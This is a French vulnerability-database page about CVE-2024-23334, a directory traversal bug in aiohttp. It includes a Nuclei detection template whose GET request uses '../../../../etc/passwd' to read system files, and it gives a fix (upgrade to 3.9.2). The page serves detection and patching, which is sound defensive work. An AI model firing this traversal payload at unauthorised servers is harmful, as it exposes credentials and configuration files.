Exploit matérialisé
CVE-2024-23334
HIGH2 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei
high Vérifié
Source
aiohttp - Directory Traversal
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2024-23334 -u https://your-target
Template yaml
id: CVE-2024-23334
info:
name: aiohttp - Directory Traversal
author: DhiyaneshDk
severity: high
description: |
aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
impact: |
Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
remediation: |
Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
reference:
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
- https://x.com/W01fh4cker/status/1762491210953060827?s=20
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-23334
cwe-id: CWE-22
epss-score: 0.76875
epss-percentile: 0.99511
cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: aiohttp
product: aiohttp
tags: cve,cve2024,aiohttp,lfi,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/static/../../../../etc/passwd'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "aiohttp"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100c5990b4baa4d0fa70582fe7471f786d82e6c35f66d999a2db4d3a3702f168df102202a717b2cd9d19aa5d96c54413048c494f4b2a84a61c465f224b2c30549e3d7ae:922c64590222798bb761d5b6d8e72950
ExploitDB
webapps python
Source
aiohttp 3.9.1 - directory traversal PoC
Par Beatriz Fresno Naumova
Comment tester cet exploit
Exploit web. Déployez une instance vulnérable en lab, servez le script/la requête contre elle et observez la réponse.
Code
Contenu pas encore matérialisé (récupéré au prochain cycle).
Voir à la source